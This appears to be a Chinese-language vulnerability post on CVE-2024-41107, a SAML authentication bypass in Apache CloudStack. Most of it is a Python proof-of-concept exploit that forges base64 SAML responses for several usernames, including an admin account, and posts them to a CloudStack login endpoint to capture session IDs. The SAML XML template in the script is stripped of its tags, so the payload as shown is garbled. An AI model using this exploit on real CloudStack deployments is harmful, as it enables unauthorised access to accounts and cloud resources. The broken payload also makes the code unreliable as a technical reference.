# Apache-CloudStack中的SAML身份验证漏洞(CVE-2024-41107) Apache软件基金会发布了一则关于其开源云计算平台Apache CloudStack的严重漏洞(CVE-2024-41107)的安全公告。此漏洞影响安全断言标记语言(SAML)认证机制,可能允许攻击者绕过认证,获得对用户账户和资源的未授权访问。 ## poc ```python import requests from bs4 import BeautifulSoup from datetime import datetime, timedelta import xml.etree.ElementTree as ET import base64 import logging # Setup logging logging.basicConfig(filename='exploit.log', level=logging.INFO, format='%(asctime)s - %(message)s') # URL of the login endpoint url = "http://target-cloudstack-instance.com/client/api" # Function to generate dynamic SAML response def generate_saml_response(username): issue_instant = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ') not_on_or_after = (datetime.utcnow() + timedelta(hours=1)).strftime('%Y-%m-%dT%H:%M:%SZ') saml_response = f""" http://your-saml-issuer.com http://your-saml-issuer.com {username} {url} urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport """ return base64.b64encode(saml_response.encode('utf-8')).decode('utf-8') # List of usernames to attempt access usernames = ["user1@example.com", "user2@example.com", "admin@example.com"] # Function to attempt login with SAML response def attempt_login(saml_response): data = { "command": "samlSsoLogin", "SAMLResponse": saml_response } response = requests.post(url, data=data) if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') session_id = soup.find('sessionid') if session_id: logging.info(f"Login successful, session ID: {session_id.text}") print(f"Login successful, session ID: {session_id.text}") else: logging.info("Login failed, no session ID found in response.") print("Login failed, no session ID found in response.") else: logging.info(f"Login failed, status code: {response.status_code}") print(f"Login failed, status code: {response.status_code}") # Attempt login for each username for username in usernames: saml_response = generate_saml_response(username) attempt_login(saml_response) ``` ## 漏洞来源 - https://github.com/d0rb/CVE-2024-41107/blob/main/PoC.py